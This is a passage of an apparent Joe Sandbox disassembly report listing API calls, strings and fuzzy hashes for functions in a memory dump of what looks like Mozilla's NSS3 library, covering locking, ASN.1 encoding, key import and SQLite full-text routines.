TlsGetValue.KERNEL32 ref: 6CC41087
EnterCriticalSection.KERNEL32(?), ref: 6CC4109B
PR_Unlock.NSS3(?), ref: 6CC410B8
free.MOZGLUE(?), ref: 6CC41113
PORT_Alloc_Util.NSS3(?), ref: 6CC41151
free.MOZGLUE(?), ref: 6CC411AB
TlsGetValue.KERNEL32 ref: 6CC41296
EnterCriticalSection.KERNEL32(?), ref: 6CC412AB
PR_Unlock.NSS3(?), ref: 6CC412D9
TlsGetValue.KERNEL32 ref: 6CC412F4
EnterCriticalSection.KERNEL32(?), ref: 6CC4130C
PR_Unlock.NSS3(?), ref: 6CC41340
TlsGetValue.KERNEL32 ref: 6CC41354
EnterCriticalSection.KERNEL32(?), ref: 6CC4136C
PR_Unlock.NSS3(?), ref: 6CC413A3
TlsGetValue.KERNEL32 ref: 6CC413BA
EnterCriticalSection.KERNEL32(?), ref: 6CC413CF
PR_Unlock.NSS3(?), ref: 6CC413FB

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC4141E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: ad5a048302d0af3e15c84dc957f623c057f82851f69a8123cc85d66b04c8b30c
Instruction ID: 0134e79e307946633d36071e3f1ae6707c832ce78e935f6486ac76f372b4f266
Opcode Fuzzy Hash: ad5a048302d0af3e15c84dc957f623c057f82851f69a8123cc85d66b04c8b30c
Instruction Fuzzy Hash: 0F72CF72D04244DFEF109F28D88879A3BB4BF05318F1881B9DD499B752F734A995CB92

Function 6CC54840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6CC3601B,?,00000000,?), ref: 6CC5486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CC548A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CC548BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CC548DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CC548F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CC5490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CC54919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CC5493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54970
PORT_Alloc_Util.NSS3(00000001), ref: 6CC549A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CC549AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC549D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CC549F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CC54A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CC54A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CC54A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CC54A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CC54A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CC54A81
free.MOZGLUE(00000000), ref: 6CC54AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CC54ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CC54ADC
free.MOZGLUE(00000000), ref: 6CC54B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CC54B33

Part of subcall function 6CC54120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5413D
Part of subcall function 6CC54120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC54162
Part of subcall function 6CC54120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC5416B
Part of subcall function 6CC54120: PL_strncasecmp.NSS3(6CC54232,?,00000001), ref: 6CC54187
Part of subcall function 6CC54120: NSSUTIL_ArgSkipParameter.NSS3(6CC54232), ref: 6CC541A0
Part of subcall function 6CC54120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC541B4
Part of subcall function 6CC54120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CC541CC
Part of subcall function 6CC54120: NSSUTIL_ArgFetchValue.NSS3(6CC54232,?), ref: 6CC54203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CC54B53
free.MOZGLUE(00000000), ref: 6CC54B94
free.MOZGLUE(?), ref: 6CC54BA7
free.MOZGLUE(00000000), ref: 6CC54BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54BC8

Strings

hasRootTrust, xrefs: 6CC54B4D
askpw, xrefs: 6CC54A4A
rootFlags, xrefs: 6CC54AB9, 6CC54B2E
slotFlags, xrefs: 6CC54A22
timeout, xrefs: 6CC54A38, 6CC54A7B
every, xrefs: 6CC54A66
hasRootCerts, xrefs: 6CC54AD6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 998d546ced71174ca2e794fb37a62ed6b0583c9c96297ff7cad0ae79dd7caeba
Instruction ID: 6c3651767b4c7e4280970472f18b88e943abee3a81f22aa2edb242b98d256550
Opcode Fuzzy Hash: 998d546ced71174ca2e794fb37a62ed6b0583c9c96297ff7cad0ae79dd7caeba
Instruction Fuzzy Hash: 0CC116B4E046559BEB00DF699C41BAE7BB8AF4620CF940028ED45E7B01F331D938C7A9

Function 6CC16D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CD1A8EC,0000006C), ref: 6CC16DC6
memcpy.VCRUNTIME140(?,6CD1A958,0000006C), ref: 6CC16DDB
memcpy.VCRUNTIME140(?,6CD1A9C4,00000078), ref: 6CC16DF1
memcpy.VCRUNTIME140(?,6CD1AA3C,0000006C), ref: 6CC16E06
memcpy.VCRUNTIME140(?,6CD1AAA8,00000060), ref: 6CC16E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC16E38

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CC16E76
TlsGetValue.KERNEL32 ref: 6CC1726F
EnterCriticalSection.KERNEL32(?), ref: 6CC17283

Strings

!, xrefs: 6CC17123

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: b92658e891af8c8daab98fb943b9942a68c351f531ed421b59b9c2e5c4ed8441
Instruction ID: 91d980985ecc743a1aa2c48bdeb24cf4429f952a7c6595c8a7b05a8eb37d2e05
Opcode Fuzzy Hash: b92658e891af8c8daab98fb943b9942a68c351f531ed421b59b9c2e5c4ed8441
Instruction Fuzzy Hash: 15728C75D092189FDB20DF29CC8879ABBB5FF49304F1041A9D80DA7B11EB319A85DF91

Function 6CB83C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB83C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CB83D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB83EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB83ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB83F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB84052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB8410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB8449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB84452, 6CB84486, 6CB844EA, 6CB84571, 6CB84580, 6CB8458F, 6CB8475A, 6CB847FA
%s at line %d of [%.10s], xrefs: 6CB84495, 6CB844F9, 6CB8459E, 6CB84769, 6CB84809
database corruption, xrefs: 6CB84490, 6CB844F4, 6CB84599, 6CB84764, 6CB84804

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 54b445da0a0f56d0629cf278817698394da6905fd828565cf36d2170e6453489
Instruction ID: 306e03a364a3415c7df60d05baa8c2c90fa8e4f8bbcd7412da234a1f75f8b7e5
Opcode Fuzzy Hash: 54b445da0a0f56d0629cf278817698394da6905fd828565cf36d2170e6453489
Instruction Fuzzy Hash: 17828B74A012559FDB04CF68C4A0B9EB7B6FF48318F2581A9D905ABB51E731EC42CFA1

Function 6CC5AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CC5ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CC5ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CC5AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC5ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5ADF0

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC5B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC5B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC5B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CC5B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC5B40C

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: f3f37def7b8a3438160156ee60ac2e67ec5e83435986d8b204a83035bf762b69
Instruction ID: 87cf2a53a9036d0920987c3017250fa1d624b0d75c711056bdd3b00c83a96a50
Opcode Fuzzy Hash: f3f37def7b8a3438160156ee60ac2e67ec5e83435986d8b204a83035bf762b69
Instruction Fuzzy Hash: 5E22B0B1904300AFE710CF15CC54BAA7BA1AF8430CF54856CE8585B791F772E87ACB9A

Function 6CBDECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CBDED38

Part of subcall function 6CB74F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB74FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CBDEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CBDEFE4

Part of subcall function 6CC9DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB75001,?,00000003,00000000), ref: 6CC9DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CBDF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CBDF129
sqlite3_mprintf.NSS3(optimize), ref: 6CBDF1D1
sqlite3_free.NSS3(?), ref: 6CBDF368

Strings

fts3_tokenizer, xrefs: 6CBDEE1A, 6CBDEEA8
snippet, xrefs: 6CBDEF05, 6CBDEF37, 6CBDEF7C
porter, xrefs: 6CBDED97
offsets, xrefs: 6CBDEFAF, 6CBDEFDF, 6CBDF01F
fts3, xrefs: 6CBDF247
fts3tokenize, xrefs: 6CBDF30F
simple, xrefs: 6CBDED79
matchinfo, xrefs: 6CBDF04F, 6CBDF082, 6CBDF0C2, 6CBDF0F2, 6CBDF124, 6CBDF169
optimize, xrefs: 6CBDF199, 6CBDF1CC, 6CBDF211
fts4aux, xrefs: 6CBDECF9
unicode61, xrefs: 6CBDEDB5
fts4, xrefs: 6CBDF2AD

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 9bcfe8e1a7f3ca450df30ba7b1eefc8b1bc0ea392fdaf8e083b3029e61cb387b
Instruction ID: 0d20e947e519255a255b9c17feac9acef2bcc9267f49a5d441ad2d2ae362db9f
Opcode Fuzzy Hash: 9bcfe8e1a7f3ca450df30ba7b1eefc8b1bc0ea392fdaf8e083b3029e61cb387b
Instruction Fuzzy Hash: C302F1B2B083815BE7049F71988532F77B5ABC561CF1A853CD95A87B00EB74F8468793

Function 6CC57C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC57C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CC57C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC57D1E

Part of subcall function 6CC57870: SECOID_FindOID_Util.NSS3(?,?,?,6CC591C5), ref: 6CC5788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC57D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CC57D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC57DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC57DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC57DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC57E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CC57E58

Part of subcall function 6CC57870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC591C5), ref: 6CC578BB
Part of subcall function 6CC57870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CC591C5), ref: 6CC578FA
Part of subcall function 6CC57870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CC591C5), ref: 6CC57930
Part of subcall function 6CC57870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC591C5), ref: 6CC57951
Part of subcall function 6CC57870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC57964
Part of subcall function 6CC57870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC5797A
Part of subcall function 6CC57870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CC57988
Part of subcall function 6CC57870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CC57998
Part of subcall function 6CC57870: free.MOZGLUE(00000000), ref: 6CC579A7
Part of subcall function 6CC57870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CC591C5), ref: 6CC579BB
Part of subcall function 6CC57870: PR_GetCurrentThread.NSS3(?,?,?,?,6CC591C5), ref: 6CC579CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC57E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC57F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC57F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC57FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC57FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CC58038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC58050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CC58093
SECOID_FindOID_Util.NSS3 ref: 6CC57F29

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC58072
SECOID_FindOID_Util.NSS3 ref: 6CC580F5

Part of subcall function 6CC5BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CC5800A,00000000,?,00000000,?), ref: 6CC5BC3F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 231aa36ba73d6e7b8898b81ee5998c5a4b8ac90e27f1a5486f5987797e8f2318
Instruction ID: 062cb47f1a74ddfdf2dd2de14a9472b623f4b2b61eca24d83b830596b37d0bf3
Opcode Fuzzy Hash: 231aa36ba73d6e7b8898b81ee5998c5a4b8ac90e27f1a5486f5987797e8f2318
Instruction Fuzzy Hash: DAE17E716143009FD700CF29C880B6A77E5BF84308F94896DE98A9BB51F772E875CB56

Function 6CC2EA00 Relevance: 28.8, APIs: 19, Instructions: 304COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CC38C9F,00000000,00000000,?), ref: 6CC2EA29

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,000000A0,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CC38C9F), ref: 6CC2EB01
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CD1C6C4), ref: 6CC2EB28
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CC2EBC6
SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC2EBDE
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2EBEB
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000010,?,?,?,?,?,?,?,?,00000000,00000000,00000000,?,6CC38C9F), ref: 6CC2EC17
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC2EC2F
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CC2EC4B
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,6CD1C754), ref: 6CC2EC6D
free.MOZGLUE(?), ref: 6CC2EC7F
free.MOZGLUE(00000000), ref: 6CC2EC90
free.MOZGLUE(?), ref: 6CC2ECA1
free.MOZGLUE(00000000), ref: 6CC2ECBF
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC2ECD4
SECOID_CopyAlgorithmID_Util.NSS3(?,?,00000000), ref: 6CC391D5
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6CC391E8
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CC391F2
free.MOZGLUE(00000000), ref: 6CC391FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Encode$Item_free$Integer_Unsigned$Zfree$Algorithm$CopyErrorFindTag_
String ID:
API String ID: 899953378-0
Opcode ID: 9995a13da1e7c81e1744739fc4fefc3c5cf8057277a6ab1d6128ce0628a71ed4
Instruction ID: ddc0ec1d9a74cccad6bc80594714bb2e6e02c2c1e5623ed440eab3ca029aeab5
Opcode Fuzzy Hash: 9995a13da1e7c81e1744739fc4fefc3c5cf8057277a6ab1d6128ce0628a71ed4
Instruction Fuzzy Hash: 98A1D375A002055BFF00DA79DC81BAE77A8EB4034AF20443DEC1AE7B80F639D94587D6

Function 6CBE1C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CBE1C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CBE1C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CBE1CA1
GetLengthSid.ADVAPI32(?), ref: 6CBE1CA9
malloc.MOZGLUE(00000000), ref: 6CBE1CB4
